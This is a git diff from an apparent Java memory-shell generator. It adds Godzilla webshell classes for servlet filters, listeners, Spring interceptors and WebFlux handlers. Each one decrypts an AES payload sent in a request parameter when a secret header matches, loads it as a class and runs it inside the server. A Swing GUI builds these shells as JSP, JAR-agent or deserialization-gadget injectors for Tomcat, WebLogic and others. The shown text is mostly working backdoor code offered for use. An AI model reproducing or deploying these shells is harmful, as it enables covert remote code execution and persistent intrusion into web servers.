{ + String ret = null; + try { + MessageDigest m = MessageDigest.getInstance("MD5"); + m.update(s.getBytes(), 0, s.length()); + ret = (new BigInteger(1, m.digest())).toString(16).toUpperCase(); + } catch (Exception var3) { + } + return ret; + } + + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs); + } catch (Exception var5) { + } + } + return value; + } + + + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException { + HttpServletRequest request = (HttpServletRequest) servletRequest; + HttpServletResponse response = (HttpServletResponse) servletResponse; + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + HttpSession session = request.getSession(); + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (session.getAttribute("payload") == null) { + session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data)); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f; + try { + f = ((Class) session.getAttribute("payload")).newInstance(); + } catch (InstantiationException | IllegalAccessException e) { + throw new RuntimeException(e); + } + f.equals(arrOut); + // 修复使用 Godzilla 插件时 "evalClass is null" 的 Bug, f.equals(data); -> f.equals(request); +// f.equals(data); + f.equals(request); + response.getWriter().write(md5.substring(0, 16)); + f.toString(); + response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); + response.getWriter().write(md5.substring(16)); + } + + } else { + chain.doFilter(servletRequest, servletResponse); + } + } catch (Exception e) { + chain.doFilter(servletRequest, servletResponse); + } + + } + + public byte[] base64Decode(String str) throws Exception { + try { + Class clazz = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); + } catch (Exception var5) { + Class clazz = Class.forName("java.util.Base64"); + Object decoder = clazz.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); + } + } + + public void init(FilterConfig filterConfig) throws ServletException { + } + + public void destroy() { + } +} diff --git a/jmg-godzilla/src/main/java/jmg/godzilla/memshell/GodzillaInterceptor.java b/jmg-godzilla/src/main/java/jmg/godzilla/memshell/GodzillaInterceptor.java new file mode 100644 index 0000000..45b45b7 --- /dev/null +++ b/jmg-godzilla/src/main/java/jmg/godzilla/memshell/GodzillaInterceptor.java @@ -0,0 +1,132 @@ +package jmg.godzilla.memshell; + +import org.springframework.web.servlet.AsyncHandlerInterceptor; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; +import java.math.BigInteger; +import java.security.MessageDigest; + +public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInterceptor { + + public static String key; + public static String pass; + public static String md5; + + public String headerName; + + public String headerValue; + + static { + md5 = md5(pass + key); + } + + public GodzillaInterceptor() { + } + + public GodzillaInterceptor(ClassLoader z) { + super(z); + md5 = md5(pass + key); + } + + + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } + + + public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + HttpSession session = request.getSession(); + byte[] data = b64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (session.getAttribute("payload") == null) { + session.setAttribute("payload", (new GodzillaInterceptor(this.getClass().getClassLoader())).Q(data)); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f; + try { + f = ((Class) session.getAttribute("payload")).newInstance(); + } catch (InstantiationException | IllegalAccessException e) { + throw new RuntimeException(e); + } + f.equals(arrOut); +// f.equals(data); + f.equals(request); + response.getWriter().write(md5.substring(0, 16)); + f.toString(); + response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); + response.getWriter().write(md5.substring(16)); + } + return false; + } else { + return true; + } + } + + public static String md5(String s) { + String ret = null; + try { + MessageDigest m = MessageDigest.getInstance("MD5"); + m.update(s.getBytes(), 0, s.length()); + ret = (new BigInteger(1, m.digest())).toString(16).toUpperCase(); + } catch (Exception var3) { + } + return ret; + } + + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs); + } catch (Exception var5) { + } + } + return value; + } + + public static byte[] b64Decode(String bs) throws Exception { + byte[] value = null; + + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs)); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) ((byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs)); + } catch (Exception var5) { + } + } + + return value; + } +} + diff --git a/jmg-godzilla/src/main/java/jmg/godzilla/memshell/GodzillaListener.java b/jmg-godzilla/src/main/java/jmg/godzilla/memshell/GodzillaListener.java new file mode 100644 index 0000000..585eed6 --- /dev/null +++ b/jmg-godzilla/src/main/java/jmg/godzilla/memshell/GodzillaListener.java @@ -0,0 +1,156 @@ +package jmg.godzilla.memshell; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Field; +import java.math.BigInteger; +import java.security.MessageDigest; + +public class GodzillaListener extends ClassLoader implements ServletRequestListener { + public static String key; + public static String pass; + + public String headerName; + + public String headerValue; + static String md5; + public static String cs; + + static { + md5 = md5(pass + key); + cs = "UTF-8"; + } + + public GodzillaListener() { + } + + public GodzillaListener(ClassLoader z) { + super(z); + md5 = md5(pass + key); + cs = "UTF-8"; + } + + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } + + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = this.getResponseFromRequest(request); + HttpSession session = request.getSession(); + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (session.getAttribute("payload") == null) { + session.setAttribute("payload", (new GodzillaListener(this.getClass().getClassLoader())).Q(data)); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = ((Class) session.getAttribute("payload")).newInstance(); + f.equals(arrOut); +// f.equals(data); + f.equals(request); + response.getWriter().write(md5.substring(0, 16)); + f.toString(); + response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); + response.getWriter().write(md5.substring(16)); + // 提交 response、清空缓冲区,防止后续处理流程中 response 被覆盖导致连接失败 + response.flushBuffer(); + } + } + } catch (Exception var8) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception { + return null; + } + + private static synchronized Object getFV(Object var0, String var1) throws Exception { + Field var2 = null; + Class var3 = var0.getClass(); + + while (var3 != Object.class) { + try { + var2 = var3.getDeclaredField(var1); + break; + } catch (NoSuchFieldException var5) { + var3 = var3.getSuperclass(); + } + } + + if (var2 == null) { + throw new NoSuchFieldException(var1); + } else { + var2.setAccessible(true); + return var2.get(var0); + } + } + + public static String md5(String s) { + String ret = null; + try { + MessageDigest m = MessageDigest.getInstance("MD5"); + m.update(s.getBytes(), 0, s.length()); + ret = (new BigInteger(1, m.digest())).toString(16).toUpperCase(); + } catch (Exception var3) { + } + return ret; + } + + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs); + } catch (Exception var5) { + } + } + return value; + } + + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception var5) { + } + } + return value; + } +} diff --git a/jmg-godzilla/src/main/java/jmg/godzilla/memshell/GodzillaWebFluxHandlerMethod.java b/jmg-godzilla/src/main/java/jmg/godzilla/memshell/GodzillaWebFluxHandlerMethod.java new file mode 100644 index 0000000..2105cd1 --- /dev/null +++ b/jmg-godzilla/src/main/java/jmg/godzilla/memshell/GodzillaWebFluxHandlerMethod.java @@ -0,0 +1,123 @@ +package jmg.godzilla.memshell; + +import org.springframework.http.HttpStatus; +import org.springframework.http.ResponseEntity; +import org.springframework.web.server.ServerWebExchange; +import reactor.core.publisher.Mono; + +import java.lang.reflect.Method; +import java.net.URL; +import java.net.URLClassLoader; +import java.util.HashMap; +import java.util.Map; + +public class GodzillaWebFluxHandlerMethod { + public static Map store = new HashMap(); + public static String key; + public static String pass; + public static String md5; + + public GodzillaWebFluxHandlerMethod() { + } + + static { + md5 = md5(pass + key); + } + + + private static Class defineClass(byte[] classbytes) throws Exception { + URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); + Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + method.setAccessible(true); + return (Class) method.invoke(urlClassLoader, classbytes, 0, classbytes.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception e) { + return null; + } + } + + public static String md5(String s) { + String ret = null; + try { + java.security.MessageDigest m; + m = java.security.MessageDigest.getInstance("MD5"); + m.update(s.getBytes(), 0, s.length()); + ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase(); + } catch (Exception e) { + } + return ret; + } + + public static String base64Encode(byte[] bs) throws Exception { + Class base64; + String value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); + value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); + } catch (Exception e2) { + } + } + return value; + } + + public static byte[] base64Decode(String bs) throws Exception { + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e2) { + } + } + return value; + } + + public synchronized ResponseEntity invoke(ServerWebExchange exchange) { + try { + Object bufferStream = exchange.getFormData().flatMap(c -> { + StringBuilder result = new StringBuilder(); + try { + String id = c.getFirst(pass); + byte[] data = x(base64Decode(id), false); + if (store.get("payload") == null) { + store.put("payload", defineClass(data)); + } else { + store.put("parameters", data); + java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); + Object f = ((Class) store.get("payload")).newInstance(); + f.equals(arrOut); + f.equals(data); + result.append(md5.substring(0, 16)); + f.toString(); + result.append(base64Encode(x(arrOut.toByteArray(), true))); + result.append(md5.substring(16)); + } + } catch (Exception ex) { + result.append(ex.getMessage()); + } + return Mono.just(result.toString()); + }); + return new ResponseEntity(bufferStream, HttpStatus.OK); + } catch (Exception ex) { + return new ResponseEntity(ex.getMessage(), HttpStatus.OK); + } + } +} \ No newline at end of file diff --git a/jmg-godzilla/src/main/java/jmg/godzilla/util/ShellUtil.java b/jmg-godzilla/src/main/java/jmg/godzilla/util/ShellUtil.java new file mode 100644 index 0000000..f54d789 --- /dev/null +++ b/jmg-godzilla/src/main/java/jmg/godzilla/util/ShellUtil.java @@ -0,0 +1,48 @@ +package jmg.godzilla.util; + +import jmg.core.config.Constants; +import jmg.godzilla.memshell.GodzillaFilter; +import jmg.godzilla.memshell.GodzillaInterceptor; +import jmg.godzilla.memshell.GodzillaListener; +import jmg.godzilla.memshell.GodzillaWebFluxHandlerMethod; + +import java.util.HashMap; +import java.util.Map; + +public class ShellUtil { + + private static final Map SHELL_CLASSNAME_MAP = new HashMap(); + private static final Map> toolMap = new HashMap(); + + public ShellUtil() { + } + + public static String getShellName(String toolType, String shellType) { + Map shellMap = toolMap.get(toolType); + return shellMap == null ? "" : shellMap.getOrDefault(shellType, ""); + } + + public static String getShellClassName(String shellName) throws Exception { + if (SHELL_CLASSNAME_MAP.get(shellName) == null) { + throw new Exception("Invalid shell type '" + shellName + "'"); + } else { + return SHELL_CLASSNAME_MAP.getOrDefault(shellName, ""); + } + } + + static { + SHELL_CLASSNAME_MAP.put(GodzillaFilter.class.getSimpleName(), GodzillaFilter.class.getName()); + SHELL_CLASSNAME_MAP.put(GodzillaListener.class.getSimpleName(), GodzillaListener.class.getName()); + SHELL_CLASSNAME_MAP.put(GodzillaInterceptor.class.getSimpleName(), GodzillaInterceptor.class.getName()); + SHELL_CLASSNAME_MAP.put(GodzillaWebFluxHandlerMethod.class.getSimpleName(), GodzillaWebFluxHandlerMethod.class.getName()); + + Map godzillaMap = new HashMap(); + godzillaMap.put(Constants.SHELL_FILTER, GodzillaFilter.class.getSimpleName()); + godzillaMap.put(Constants.SHELL_LISTENER, GodzillaListener.class.getSimpleName()); + godzillaMap.put(Constants.SHELL_INTERCEPTOR, GodzillaInterceptor.class.getSimpleName()); + godzillaMap.put(Constants.SHELL_WF_HANDLERMETHOD, GodzillaWebFluxHandlerMethod.class.getSimpleName()); + toolMap.put("Godzilla", godzillaMap); + } + + +} diff --git a/jmg-gui/pom.xml b/jmg-gui/pom.xml new file mode 100644 index 0000000..e43ac03 --- /dev/null +++ b/jmg-gui/pom.xml @@ -0,0 +1,98 @@ + + + java-memshell-generator + jmg + ${revision} + + 4.0.0 + jmg-gui + + + jmg + jmg-core + ${revision} + compile + + + me.gv7.woodpecker + jexpr-encoder-utils + 0.2.2 + + + com.intellij + forms_rt + 7.0.3 + + + com.formdev + flatlaf + 3.1 + + + jmg + jmg-behinder + ${revision} + compile + + + jmg + jmg-antsword + ${revision} + compile + + + jmg + jmg-godzilla + ${revision} + compile + + + jmg + jmg-suo5 + ${revision} + compile + + + jmg + jmg-neoregeorg + ${revision} + compile + + + jmg + jmg-custom + ${revision} + compile + + + + + + + org.apache.maven.plugins + maven-assembly-plugin + 3.6.0 + + + jar-with-dependencies + + + + jmg.gui.jMGApp + + + + + + make-assembly + package + + single + + + + + + + diff --git a/jmg-gui/src/main/java/jmg/gui/form/jMGForm.form b/jmg-gui/src/main/java/jmg/gui/form/jMGForm.form new file mode 100644 index 0000000..343cadb --- /dev/null +++ b/jmg-gui/src/main/java/jmg/gui/form/jMGForm.form @@ -0,0 +1,389 @@ + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
diff --git a/jmg-gui/src/main/java/jmg/gui/form/jMGForm.java b/jmg-gui/src/main/java/jmg/gui/form/jMGForm.java new file mode 100644 index 0000000..c2d6114 --- /dev/null +++ b/jmg-gui/src/main/java/jmg/gui/form/jMGForm.java @@ -0,0 +1,616 @@ +package jmg.gui.form; + +import com.intellij.uiDesigner.core.GridConstraints; +import com.intellij.uiDesigner.core.GridLayoutManager; +import com.intellij.uiDesigner.core.Spacer; +import jmg.core.config.AbstractConfig; +import jmg.core.config.Constants; +import jmg.core.generator.InjectorGenerator; +import jmg.core.util.ClassNameUtil; +import jmg.core.util.CommonUtil; +import jmg.core.util.RandomHttpHeaderUtil; +import jmg.gui.util.*; + +import javax.swing.*; +import javax.swing.border.EmptyBorder; +import javax.swing.filechooser.FileFilter; +import java.awt.*; +import java.awt.event.ActionEvent; +import java.awt.event.ActionListener; +import java.awt.event.ItemEvent; +import java.awt.event.ItemListener; +import java.io.File; +import java.lang.reflect.Method; +import java.util.Locale; +import java.util.Map; +import java.util.ResourceBundle; + +public class jMGForm { + private static JFrame frame; + private JComboBox toolBox; + private JComboBox serverBox; + private JComboBox shellBox; + private JComboBox formatBox; + private JTextField uriText; + private JTextField headerValueText; + private JTextField keyText; + private JTextField headerNameText; + private JTextField passText; + private JTextField injectorClsNameText; + private JTextField shellClsNameText; + private JCheckBox enableGadget; + private JComboBox gadgetTypeBox; + private JCheckBox enableExpr; + private JComboBox exprBox; + private JButton generateButton; + private JPanel jMGPanel; + private JPanel TopPanel; + private JLabel toolLabel; + private JLabel formatLabel; + private JLabel serverLabel; + private JLabel shellLabel; + private JScrollPane textScrollPane; + private JPanel MiddlePanel; + private JLabel keyLabel; + private JLabel passLabel; + private JLabel headerValueLabel; + private JLabel headerNameLabel; + private JLabel uriLabel; + private JLabel shellClsNameLabel; + private JLabel injectorClsNameLabel; + private JSeparator TopSep; + private JSeparator MiddleSep; + private JLabel authorLabel; + private JLabel noticeLabel; + private JPanel BottomPanel; + private JPanel TipPanel; + private JTextPane textPane; + + private AbstractConfig config; + + + public static void start() { + Locale.setDefault(Locale.CHINA); + frame = new JFrame(Constants.JMG_NAME + " " + Constants.JMG_VERSION); + + // 将窗口居中显示,解决 windows 下靠左的问题 + frame.setLocationRelativeTo(null); + + frame.setResizable(true); + jMGForm jmgForm = new jMGForm(); + JPanel contentPanel = jmgForm.jMGPanel; + + contentPanel.setBorder(new EmptyBorder(8, 10, 8, 10)); + + frame.setContentPane(contentPanel); + frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); + + frame.setJMenuBar(MenuUtil.createMenuBar(frame)); + frame.pack(); + frame.setVisible(true); + Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize(); + int centerX = screenSize.width / 2; + int centerY = screenSize.height / 2; + Dimension jfSize = frame.getSize(); + int halfwidth = jfSize.width / 2; + int halfHeight = jfSize.height / 2; + frame.setLocation(centerX - halfwidth, centerY - halfHeight); + } + + private String serverType = Constants.SERVER_TOMCAT; + private String shellType = Constants.SHELL_LISTENER; + private String gadgetType = Constants.GADGET_JDK_TRANSLET; + private String toolType = Constants.TOOL_BEHINDER; + private String formatType = Constants.FORMAT_BASE64; + + public jMGForm() { + config = new AbstractConfig(); + + String[] servletApiShellBox = {Constants.SHELL_LISTENER, Constants.SHELL_FILTER}; + String[] servletApiServerBox = {Constants.SERVER_TOMCAT, Constants.SERVER_RESIN, Constants.SERVER_WEBLOGIC, Constants.SERVER_WEBSPHERE, Constants.SERVER_JETTY, Constants.SERVER_UNDERTOW, Constants.SERVER_GLASSFISH, Constants.SERVER_JBOSS}; + String[] interceptorServerBox = {Constants.SERVER_SPRING_MVC}; + String[] interceptorShellBox = {Constants.SHELL_INTERCEPTOR}; + String[] handlerMethodServerBox = {Constants.SERVER_SPRING_WEBFLUX}; + String[] handlerMethodShellBox = {Constants.SHELL_WF_HANDLERMETHOD}; + String[] behinderServerBox = CommonUtil.concatenateArrays(servletApiServerBox, interceptorServerBox); + String[] behinderShellBox = CommonUtil.concatenateArrays(servletApiShellBox, interceptorShellBox); + String[] godzillaServerBox = CommonUtil.concatenateArrays(behinderServerBox, handlerMethodServerBox); + String[] godzillaShellBox = CommonUtil.concatenateArrays(behinderShellBox, handlerMethodShellBox); + String[] formatBoxForOther = new String[]{Constants.FORMAT_BASE64, Constants.FORMAT_BIGINTEGER, Constants.FORMAT_BCEL, Constants.FORMAT_CLASS, Constants.FORMAT_JAR, Constants.FORMAT_JS, Constants.FORMAT_JSP}; + String[] formatBoxForTomcat = new String[]{Constants.FORMAT_BASE64, Constants.FORMAT_BIGINTEGER, Constants.FORMAT_BCEL, Constants.FORMAT_CLASS, Constants.FORMAT_JAR, Constants.FORMAT_JAR_AGENT, Constants.FORMAT_JS, Constants.FORMAT_JSP}; + + String[] exprEncoderBoxItems = new String[]{Constants.EXPR_EL, Constants.EXPR_SPEL, Constants.EXPR_OGNL, Constants.EXPR_FREEMARKER, Constants.EXPR_VELOCITY, Constants.EXPR_JS}; + String[] gadgetTypeBoxItems = new String[]{Constants.GADGET_JDK_TRANSLET, Constants.GADGET_SNAKEYAML, Constants.GADGET_FJ_GROOVY, Constants.GADGET_XALAN_TRANSLET}; + + formatBox.setModel(new DefaultComboBoxModel<>(formatBoxForTomcat)); + serverBox.setModel(new DefaultComboBoxModel(behinderServerBox)); + shellBox.setModel(new DefaultComboBoxModel(servletApiShellBox)); + toolBox.addActionListener(new ActionListener() { + public void actionPerformed(ActionEvent e) { + toolType = (String) toolBox.getSelectedItem(); + if (toolType.equals(Constants.TOOL_GODZILLA)) { + serverBox.setModel(new DefaultComboBoxModel(godzillaServerBox)); + shellBox.setModel(new DefaultComboBoxModel(godzillaShellBox)); + + } else if (toolType.equals(Constants.TOOL_ANTSWORD)) { + shellBox.setModel(new DefaultComboBoxModel(servletApiShellBox)); + serverBox.setModel(new DefaultComboBoxModel(servletApiServerBox)); + } else if (toolType.equals(Constants.TOOL_CUSTOM)) { + JFileChooser fileChooser = new JFileChooser(); + FileFilter classFileFilter = new FileFilter() { + @Override + public boolean accept(File file) { + return file.isDirectory() || file.getName().toLowerCase().endsWith(".class"); + } + + @Override + public String getDescription() { + return "Java Class Files (*.class)"; + } + }; + + fileChooser.setFileFilter(classFileFilter); + + fileChooser.setFileSelectionMode(JFileChooser.FILES_ONLY); + + int result = fileChooser.showSaveDialog(jMGPanel); + if (result == JFileChooser.APPROVE_OPTION) { + String selectedPath = fileChooser.getSelectedFile().getPath(); + config.setClassFilePath(selectedPath); + } + } else { + serverBox.setModel(new DefaultComboBoxModel(behinderServerBox)); + shellBox.setModel(new DefaultComboBoxModel(behinderShellBox)); + } + } + }); + + + serverBox.addActionListener(new ActionListener() { + public void actionPerformed(ActionEvent e) { + serverType = (String) serverBox.getSelectedItem(); + if (serverType.equals(Constants.SERVER_SPRING_MVC)) { + shellBox.setModel(new DefaultComboBoxModel<>(interceptorShellBox)); + shellType = (String) shellBox.getSelectedItem(); + } else if (serverType.equals(Constants.SERVER_SPRING_WEBFLUX)) { + shellBox.setModel(new DefaultComboBoxModel<>(handlerMethodShellBox)); + shellType = (String) shellBox.getSelectedItem(); + } else { + shellBox.setModel(new DefaultComboBoxModel<>(servletApiShellBox)); + shellType = (String) shellBox.getSelectedItem(); + } + if (!serverType.equals(Constants.SERVER_TOMCAT) && !serverType.equals(Constants.SERVER_SPRING_MVC)) { + formatBox.setModel(new DefaultComboBoxModel<>(formatBoxForOther)); + } else { + formatBox.setModel(new DefaultComboBoxModel<>(formatBoxForTomcat)); + } + } + }); + + + shellBox.addActionListener(new ActionListener() { + public void actionPerformed(ActionEvent e) { + shellType = (String) shellBox.getSelectedItem(); + } + + }); + + formatBox.addActionListener(new ActionListener() { + public void actionPerformed(ActionEvent e) { + formatType = (String) formatBox.getSelectedItem(); + assert formatType != null; + if (formatType.equalsIgnoreCase(Constants.FORMAT_CLASS) || formatType.equalsIgnoreCase(Constants.FORMAT_JSP) || formatType.equalsIgnoreCase(Constants.FORMAT_JAR) || formatType.equalsIgnoreCase(Constants.FORMAT_JAR_AGENT)) { + JFileChooser fileChooser = new JFileChooser(); + fileChooser.setFileSelectionMode(JFileChooser.DIRECTORIES_ONLY); + int result = fileChooser.showSaveDialog(jMGPanel); + if (result == JFileChooser.APPROVE_OPTION) { + String selectedPath = fileChooser.getSelectedFile().getPath(); + config.setSavePath(selectedPath); + } + } + } + }); + + + // 可选参数设置 + passText.getDocument().putProperty("owner", passText); + passText.getDocument().addDocumentListener(ComponentUtil.createDocumentListener(passText, config::setPass)); + + keyText.getDocument().putProperty("owner", keyText); + keyText.getDocument().addDocumentListener(ComponentUtil.createDocumentListener(keyText, config::setKey)); + + shellClsNameText.getDocument().putProperty("owner", shellClsNameText); + shellClsNameText.getDocument().addDocumentListener(ComponentUtil.createDocumentListener(shellClsNameText, config::setShellClassName)); + + injectorClsNameText.getDocument().putProperty("owner", injectorClsNameText); + injectorClsNameText.getDocument().addDocumentListener(ComponentUtil.createDocumentListener(injectorClsNameText, config::setInjectorClassName)); + + uriText.getDocument().putProperty("owner", uriText); + uriText.getDocument().addDocumentListener(ComponentUtil.createDocumentListener(uriText, config::setUrlPattern)); + + headerNameText.getDocument().putProperty("owner", headerNameText); + headerNameText.getDocument().addDocumentListener(ComponentUtil.createDocumentListener(headerNameText, config::setHeaderName)); + + headerValueText.getDocument().putProperty("owner", headerValueText); + headerValueText.getDocument().addDocumentListener(ComponentUtil.createDocumentListener(headerValueText, config::setHeaderValue)); + + + exprBox.setEnabled(false); + + enableExpr.addItemListener(new ItemListener() { + @Override + public void itemStateChanged(ItemEvent e) { + if (enableExpr.isSelected()) { + config.setExprEncoder(Constants.EXPR_EL); + exprBox.setEnabled(enableExpr.isSelected()); + } else { + exprBox.setEnabled(enableExpr.isSelected()); + config.setExprEncoder(null); + exprBox.setModel(new DefaultComboBoxModel(exprEncoderBoxItems)); + } + + } + }); + + exprBox.addItemListener(new ItemListener() { + @Override + public void itemStateChanged(ItemEvent e) { + if (e.getStateChange() == ItemEvent.SELECTED && exprBox.isEnabled()) { + config.setExprEncoder((String) exprBox.getSelectedItem()); + } else { + config.setExprEncoder(null); + } + } + }); + + gadgetTypeBox.setEnabled(false); + enableGadget.addItemListener(new ItemListener() { + @Override + public void itemStateChanged(ItemEvent e) { + if (enableGadget.isSelected()) { + config.setGadgetType(gadgetType); + gadgetTypeBox.setEnabled(enableGadget.isSelected()); + } else { + gadgetTypeBox.setEnabled(enableGadget.isSelected()); + config.setGadgetType(null); + gadgetTypeBox.setModel(new DefaultComboBoxModel(gadgetTypeBoxItems)); + } + } + }); + + gadgetTypeBox.addItemListener(new ItemListener() { + @Override + public void itemStateChanged(ItemEvent e) { + if (e.getStateChange() == ItemEvent.SELECTED && gadgetTypeBox.isEnabled()) { + config.setGadgetType((String) gadgetTypeBox.getSelectedItem()); + } else { + config.setGadgetType(null); + } + } + }); + + + generateButton.addActionListener(new ActionListener() { + @Override + public void actionPerformed(ActionEvent e) { + TextPaneUtil.initTextPane(textPane); + TextPaneUtil.startPrintln(toolType + " " + serverType + " " + shellType + " " + formatType + "\n"); + try { + initConfig(config); + new ShellGeneratorUtil().makeShell(config); + new InjectorGenerator().makeInjector(config); + ResultUtil.resultOutput(config); + ComponentUtil.restoreScrollPosition(textScrollPane); + resetConfig(config); + } catch (Throwable ex) { + resetConfig(config); + TextPaneUtil.errorPrintln(CommonUtil.getThrowableStackTrace(ex)); + } + } + }); + + textPane.setComponentPopupMenu(MenuUtil.createPopupMenu(frame, textPane)); + + + } + + public void initConfig(AbstractConfig config) { + config.setToolType(toolType); + config.setServerType(serverType); + config.setShellType(shellType); + 